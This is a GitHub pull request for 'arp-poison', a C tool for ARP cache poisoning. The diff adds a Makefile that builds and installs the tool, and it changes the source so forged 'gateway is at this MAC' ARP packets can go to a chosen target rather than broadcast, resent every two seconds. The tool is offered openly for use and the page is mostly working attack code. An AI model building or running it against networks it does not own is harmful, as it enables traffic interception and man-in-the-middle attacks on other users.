Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Makefile #1

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@













# arp-poison

CC = gcc
LDFLAGS = -lnet -lpcap `libnet-config --defines`


all:
$(CC) arp-poison.c $(LDFLAGS) -o arp-poison

install: arp-poison
cp arp-poison $(PREFIX)/bin/

clean:
rm arp-poison
17 changes: 12 additions & 5 deletions arp-poison.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,8 @@ int sock;
void
usage()
{
puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr> <broadcast/unicast>");
puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff ff:ff:ff:ff:ff:ff");
exit(1);
}

Expand All @@ -39,7 +39,7 @@ main(int argc, char ** argv)
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
struct sockaddr_ll device;

if (argc < 4) {
if (argc < 5) {
usage();
}

Expand All @@ -49,6 +49,13 @@ main(int argc, char ** argv)

signal(SIGINT, cleanup);

sscanf(argv[4], "%x:%x:%x:%x:%x:%x", (unsigned int *) &eth->ether_dhost[0],
(unsigned int *) &eth->ether_dhost[1],
(unsigned int *) &eth->ether_dhost[2],
(unsigned int *) &eth->ether_dhost[3],
(unsigned int *) &eth->ether_dhost[4],
(unsigned int *) &eth->ether_dhost[5]);

sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
Expand All @@ -61,7 +68,7 @@ main(int argc, char ** argv)
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);

memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
//memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
eth->ether_type = htons(ETH_P_ARP);

Expand All @@ -81,7 +88,7 @@ main(int argc, char ** argv)

puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
printf("%s: tell %s that %s is at %s\n", argv[1], argv[4], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
sleep(2);
}
Expand Down